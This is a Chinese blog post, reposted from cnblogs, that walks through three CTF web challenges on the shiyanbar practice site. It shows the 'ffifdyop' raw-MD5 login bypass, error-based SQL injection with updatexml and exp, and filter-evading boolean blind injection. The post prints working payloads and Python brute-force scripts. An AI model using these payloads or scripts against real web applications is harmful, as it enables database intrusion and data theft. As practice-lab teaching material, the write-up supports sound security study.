博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
实验吧之【后台登录,加了料的报错注入,认真一点】(报错注入)
阅读量:4560 次
发布时间:2019-06-08

本文共 7588 字,大约阅读时间需要 25 分钟。

后台登录

http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php看到有源码提示

 

第一想到是注入 发现他的password用MD5加密了(这是为了防止你输入'"or 这些符号绕过验证password)

发现SQL注入语句和一个MD5函数

MD5(string,raw)raw 可选,默认为false

*true:返回16字符2进制格式

*false:返回32字符16进制格式

简单来说就是 true将16进制的md5转化为字符了,如果某一字符串的md5恰好能够产生如’or ’之类的注入语句,就可以进行注入了.

 

提供一个字符串:ffifdyop

md5后,276f722736c95d99e921722cf9ed621c

转成字符串后: 'or'6<trash>

此时select语句为

SELECT * FROM admin WHERE username = 'admin' and password = ''or'6
'

 e58、ffifdyop、129581926211651571912466741651878684928三个中任意一个可行

 

 

加了料的报错注入

地址:http://ctf5.shiyanbar.com/web/baocuo/index.php 

提示post提交这两个参数

 

这里就大致知道要我们注入况且源码也给了提示、

 

 测试后发现过滤了一些关键词 fuzz一下~~~

 

 

经过测试,两个参数都可以注入,但是有很多参数都过滤了,使用burp的intruder模块来大概测试一下到底哪些参数被过滤了,下面是username字段的结果:

union是过滤了的,=也是过滤了的

不过  ()没有过滤 我们可以两边构造报错函数达到注入

username=' or updatexml/*&password=1*/(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema regexp database()),0x7e),1) or '

 

这道题稍微难得不是报错函数的时候,而是fuzz出username字段过滤了(),而password没有过滤(),

 

接下来也很简单了

爆字段名:

username=' or updatexml/*&password=1*/(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema regexp database() and table_name regexp 0x66666c6c34346a6a),0x7e),1) or '

这里的表名转换成16进制

接下来查表:

username=' or updatexml/*&password=1*/(1,concat(0x7e,(select value from ffll44jj),0x7e),1) or '

 

得到flag:flag{err0r_b4sed_sqli_+_hpf}

 

exp()报错注入也是可以的

username=1l&password=1' or exp(~(select * from (select value from ffll44jj)x)) or '

 

 

 

认真一点

http://ctf5.shiyanbar.com/web/earnest/index.phphttp://ctf5.shiyanbar.com/web/earnest/index.php

明显sql注入

盲注类型

提交1或用语句让框内为真,显示You are in。

提交语句有错误或语句让框内为假,不报错,但显示You are not in(实质和报错一样)

 

 

提交某些特殊字符会被过滤并显示sql injection detected,经过各种测试(可用Burp suite进行模糊测试或脚本提交敏感字符)发现过滤的字符有and,空格,+,#,union,逗号,

 

但是使用or命令注入失败,但是从模糊测试来看是没有屏蔽or关键字,应该是后台删去了or关键字。使用oorr进行替换,当后台删去or时,or左边的o与右边的r新形成一个or关键字。

因此可以通过判断形成的SQL语句结果结果是否为1确定查询内容的正确性,首先确定数据库名长度。构造

id=0'oorr(length(database())=len)oorr'0

 

判断数据库名长度。len是要确定的长度。使用burp suite进行破解,发现len=18。

import requestsprint("start")str = "You are in"url = "http://ctf5.shiyanbar.com/web/earnest/index.php "for i in range(1,30):    key = {
'id':"0'oorr(length(database())=%s)oorr'0"%i} res = requests.post(url,data=key).text print(i) if str in res: print('database length: %s'%i) breakprint("end!")

 

然后对数据库名爆破,针对每一位数据库的字母进行爆破。以第一位为例,可以看出爆破结果为c或C。整个数据库名可以全部爆破出来。数据库名为ctf_sql_bool_blind。其中

id=0'oorr((mid((user())from(y)foorr(x)))='%s')oorr'0

中的foorr是为了避免删除or,在删除or后形成for。

import requestsstr = "You are in"url = "http://ctf5.shiyanbar.com/web/earnest/index.php"guess = "abcdefghijklmnopqrstuvwxyz0123456789~+=-*/\{}?!:@#$&[]._"database = ''print('start')for i in range(1,19):    for j in guess:        key = {
'id':"0'oorr((mid((database())from(%s)foorr(1)))='%s')oorr'0" %(i,j)} res = requests.post(url,data=key).text print('............%s......%s.......'%(i,j)) if str in res: database += j breakprint(database)print("end!")

表长度:

import requestsstr = "You are in"url = "http://ctf5.shiyanbar.com/web/earnest/index.php"guess = "abcdefghijklmnopqrstuvwxyz0123456789~+=-*/\{}?!:@#$&[]."i = 1print("start")while True:    res = "0'oorr((select(mid(group_concat(table_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.tables)where(table_schema)=database())='')oorr'0" % i    res = res.replace(' ',chr(0x0a))    key = {
'id':res} r = requests.post(url,data=key).text print(i) if str in r: print("length: %s"%i) break i+=1print("end!")

 

使用爆破语句,

id=0'oorr((select(mid(group_concat(table_name separatoorr '@')from(x)foorr(1)))from (infoorrmation_schema.tables)where(table_schema)='ctf_sql_bool_blind')='y')oorr'0;x为位数,y为字符。

直接对fiag表进行列名爆破,使用爆破语句

id=0'oorr((select(mid(group_concat(column_name separatoorr '@')from(x)foorr(1)))from(infoorrmation_schema.columns)where(table_name)='fiag')='y')oorr'0;

爆破表名:

import requestsstr = "You are in"url = "http://ctf5.shiyanbar.com/web/earnest/index.php"guess = "abcdefghijklmnopqrstuvwxyz0123456789~+=-*/\{}?!:@#$&[]."table = ""print("start")for i in range(1,12):    for j in guess:        res = "0'oorr((select(mid(group_concat(table_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.tables)where(table_schema)=database())='%s')oorr'0"%(i,j)        res = res.replace(' ', chr(0x0a))        key = {
'id':res} r = requests.post(url,data=key).text print(i) if str in r: table += j breakprint(table)print("end!")

 

 

只有一列,列名为fl$4g,

对列中值爆破。使用payload:

id=0'oorr((select(mid((fl$4g)from(x)foorr(1)))from(fiag))='y')oorr'0;

最终爆破出flag:flag{haha~you win!}、

列长度爆破:

import requestsstr = "You are in"url = "http://ctf5.shiyanbar.com/web/earnest/index.php"guess = "abcdefghijklmnopqrstuvwxyz0123456789~+=-*/\{}?!:@#$&[]."i = 1print("start")while True:    res = "0'oorr((select(mid(group_concat(column_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.columns)where(table_name)='fiag')='')oorr'0"%i    res = res.replace(' ',chr(0x0a))    key = {
'id':res} r = requests.post(url,data=key).text print(i) if str in r: print("length: %s"%i) break i += 1print("end!")

 

列名爆破:

import requestsstr = "You are in"url = "http://ctf5.shiyanbar.com/web/earnest/index.php"guess = "abcdefghijklmnopqrstuvwxyz0123456789~+=-*/\{}?!:@#$&[]."column = ""print("start")for i in range(1,6):    for j in guess:        res = "0'oorr((select(mid(group_concat(column_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.columns)where(table_name)='fiag')='%s')oorr'0"%(i,j)        res = res.replace(' ',chr(0x0a))        key = {
'id':res} r = requests.post(url,data=key).text print("......%s.........%s........."%(i,j)) if str in r: column+=j breakprint(column)print("end!")

 

附上python盲注脚本:

# -*- coding:utf8 -*- import requests chars ='~abcdefghijklmnopqrstuvwxyz_0123456789=+-*/{\}?!:@#$%&()[],.' len =len(chars) url=r'http://ctf5.shiyanbar.com/web/earnest/index.php' mys=requests.session() true_state=b'You are in' result ='' # 爆破数据库长度 18 #    payload = "0'oorr((length(database()))=%s)oorr'0"%(x)##    myd={'id':payload}##    res=mys.post(url, data=myd).content##    if true_state in res:##        print(x)##        print('true')  #爆破数据库名 ctf_sql_bool_blind # for x in range(18):##     for y in chars:##         payload = "0'oorr((mid((database())from(%s)foorr(1)))='%s')oorr'0"%(x+1, y)##         myd = {'id': payload}##         res = mys.post(url, data=myd).content###         print(str(y))##         if true_state in res:##             result = result + y##             print('true'+str(x)+str(y))##             break## print(result) #爆破表名 fiag@users #爆破列名 fl$4g@id@username@password for x in range(50):     for y in chars:         # payload = "0'oorr((select(mid(group_concat(table_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.tables)where(table_schema)='ctf_sql_bool_blind')='%s')oorr'0"%(x+1,y)         # payload = "0'oorr((select(mid(group_concat(column_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.columns)where(table_name)='fiag')='%s')oorr'0"%(x+1,y)         payload = "0'oorr((select(mid((fl$4g)from(%s)foorr(1)))from(fiag))='%s')oorr'0" % (x + 1, y)         payload = payload.replace(' ', chr(0x0a))         myd = {
'id': payload} res=mys.post(url, data=myd).content print(str(y)) if true_state in res: result = result + y print('true'+" "+str(x)+" "+result) break print(result)

 

 

 

 

 

 

 

 

 

 

转载于:https://www.cnblogs.com/-qing-/p/11070589.html

你可能感兴趣的文章
Xamarin.Android-用ZXing实现二维码扫描以及连续扫描
查看>>
IDE theme(such as : Eclipse)
查看>>
【ALV】关于ALV
查看>>
CentOS7上解决tomcat不能被外部浏览访问
查看>>
使用Loadrunner进行http接口压力测试
查看>>
存储过程中set什么什么的讲解
查看>>
自己开发的csdn手机客户端
查看>>
ossfs挂载oss到ECS本地并设置权限
查看>>
基于zookeeper的MySQL主主负载均衡的简单实现
查看>>
使用struts2实现文件下载
查看>>
一个扫雷游戏和一个自动玩扫雷游戏的程序
查看>>
crontab 每月最后一天
查看>>
Cisco路由器DHCP配置浅析
查看>>
潭州Java中级班(day_06)
查看>>
使pdfLatex生成的文件支持复制
查看>>
[leedcode 147] Insertion Sort List
查看>>
JAVA分页
查看>>
SEO十心要诀 细节决定成败
查看>>
VSFTP添加了用户无法登陆
查看>>
Burp Suite Pro 教程
查看>>